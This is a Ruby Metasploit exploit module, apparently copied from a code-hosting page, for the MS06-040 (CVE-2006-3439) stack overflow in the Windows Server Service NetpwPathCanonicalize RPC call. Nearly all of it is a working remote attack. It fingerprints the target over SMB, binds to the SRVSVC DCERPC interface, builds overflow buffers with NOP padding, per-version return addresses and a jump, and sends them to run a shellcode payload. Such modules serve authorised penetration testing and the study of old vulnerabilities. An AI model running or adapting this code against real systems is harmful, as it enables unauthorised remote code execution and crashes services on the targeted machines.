259 lines
6.7 KiB
Ruby
259 lines
6.7 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Smb::MS06_040_NETAPI < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::DCERPC
|
|
include Exploit::Remote::SMB
|
|
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Server Service NetpwPathCanonicalize Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the NetApi32 CanonicalizePathName() function
|
|
using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
|
|
other RPC calls could be used to exploit this service. This exploit will result in
|
|
a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
|
|
will likely result in a complete reboot on Windows 2000 and the termination of all
|
|
SMB-related services on Windows XP. The default target for this exploit should succeed
|
|
on Windows NT 4.0, Windows 2000 SP0-SP4+, and Windows XP SP0-SP1.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'hdm'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision: 3720 $',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '19409' ],
|
|
[ 'CVE', '2006-3439' ],
|
|
[ 'MSB', 'MS06-040' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
# Technically we can use more space than this, but by limiting it
|
|
# to 370 bytes we can use the same request for all Windows SPs.
|
|
'Space' => 370,
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'DefaultTarget' => 0,
|
|
'Targets' =>
|
|
[
|
|
[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
|
|
[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
|
|
{
|
|
'Offset' => 1000,
|
|
'Ret' => 0x00020804
|
|
}
|
|
],
|
|
[ '(wcscpy) Windows XP SP0/SP1',
|
|
{
|
|
'Offset' => 612,
|
|
'Ret' => 0x00020804
|
|
}
|
|
],
|
|
[ '(stack) Windows XP SP1 English',
|
|
{
|
|
'OffsetA' => 656,
|
|
'OffsetB' => 680,
|
|
'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll
|
|
}
|
|
],
|
|
[ '(stack) Windows XP SP1 Italian',
|
|
{
|
|
'OffsetA' => 656,
|
|
'OffsetB' => 680,
|
|
'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll
|
|
}
|
|
],
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 8 2006'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect()
|
|
smb_login()
|
|
|
|
if (target.name =~ /Automatic/)
|
|
case smb_peer_os()
|
|
when 'Windows 5.0'
|
|
print_status("Detected a Windows 2000 target")
|
|
target = targets[1]
|
|
|
|
when 'Windows NT 4.0'
|
|
print_status("Detected a Windows NT 4.0 target")
|
|
target = targets[1]
|
|
|
|
when 'Windows 5.1'
|
|
begin
|
|
smb_create("\\SRVSVC")
|
|
print_status("Detected a Windows XP SP0/SP1 target")
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
if (e.error_code == 0xc0000022)
|
|
print_status("Windows XP SP2 is not exploitable")
|
|
return
|
|
end
|
|
print_status("Detected a Windows XP target (unknown patch level)")
|
|
end
|
|
target = targets[2]
|
|
|
|
when /Windows Server 2003 (\d+)$/
|
|
print_status("Windows 2003 SP0 is not supported")
|
|
return
|
|
|
|
when /Windows Server 2003 (\d+) Service Pack (\d+)/
|
|
print_status("Windows 2003 SP#{$2} is not exploitable")
|
|
return
|
|
|
|
when /Samba/
|
|
print_status("Samba is not vulnerable")
|
|
return
|
|
|
|
else
|
|
print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
|
|
return
|
|
end
|
|
end
|
|
|
|
handle = dcerpc_handle(
|
|
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
|
)
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
#
|
|
# /* Function 0x1f at 0x767e912c */
|
|
# long function_1f (
|
|
# [in] [unique] [string] wchar_t * arg_00,
|
|
# [in] [string] wchar_t * arg_01,
|
|
# [out] [size_is(arg_03)] char * arg_02,
|
|
# [in] [range(0, 64000)] long arg_03,
|
|
# [in] [string] wchar_t * arg_04,
|
|
# [in,out] long * arg_05,
|
|
# [in] long arg_06
|
|
# );
|
|
#
|
|
|
|
print_status("Building the stub data...")
|
|
stub = ''
|
|
|
|
case target.name
|
|
when /wcscpy.*Windows 2000/
|
|
|
|
code = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
|
|
|
|
path = code + ( [target.ret].pack('V') * 16 ) + "\x00\x00"
|
|
|
|
stub =
|
|
NDR.long(rand(0xffffffff)) +
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
|
NDR.long(rand(0xf0)+1) +
|
|
NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
|
|
NDR.long(rand(0xf0)+1) +
|
|
NDR.long(0)
|
|
|
|
when /wcscpy.*Windows XP/
|
|
path =
|
|
# Payload goes first
|
|
payload.encoded +
|
|
|
|
# Padding
|
|
Rex::Text.rand_text_alphanumeric(target['Offset'] - payload.encoded.length) +
|
|
|
|
# Land 6 bytes in to bypass garbage (XP SP0)
|
|
[ target.ret + 6 ].pack('V') +
|
|
|
|
# Padding
|
|
Rex::Text.rand_text_alphanumeric(8) +
|
|
|
|
# Address to write our shellcode (XP SP0)
|
|
[ target.ret ].pack('V') +
|
|
|
|
# Padding
|
|
Rex::Text.rand_text_alphanumeric(32) +
|
|
|
|
# Jump straight to shellcode (XP SP1)
|
|
[ target.ret ].pack('V') +
|
|
|
|
# Padding
|
|
Rex::Text.rand_text_alphanumeric(8) +
|
|
|
|
# Address to write our shellcode (XP SP1)
|
|
[ target.ret ].pack('V') +
|
|
|
|
# Padding
|
|
Rex::Text.rand_text_alphanumeric(32) +
|
|
|
|
# Terminate the path
|
|
"\x00\x00"
|
|
|
|
stub =
|
|
NDR.long(rand(0xffffffff)) +
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
|
NDR.long(rand(0xf0)+1) +
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
NDR.long(rand(0xf0)+1) +
|
|
NDR.long(0)
|
|
|
|
|
|
when /stack/
|
|
buff = Rex::Text.rand_text_alphanumeric(800)
|
|
buff[0, payload.encoded.length] = payload.encoded
|
|
buff[ target['OffsetA'], 4 ] = [target.ret].pack('V')
|
|
buff[ target['OffsetB'], 5 ] = "\xe9" + [ (target['OffsetA'] + 5) * -1 ].pack('V')
|
|
|
|
path = "\\\x00\\\x00" + buff + "\x00\x00"
|
|
|
|
stub =
|
|
NDR.long(rand(0xffffffff)) +
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
|
NDR.long(rand(0xf0)+1) +
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
NDR.long(rand(0xf0)+1) +
|
|
NDR.long(0)
|
|
end
|
|
|
|
print_status("Calling the vulnerable function...")
|
|
|
|
begin
|
|
dcerpc.call(0x1f, stub)
|
|
dcerpc.call(0x1f, stub)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
rescue => e
|
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
|
raise e
|
|
end
|
|
end
|
|
|
|
# Cleanup
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
end
|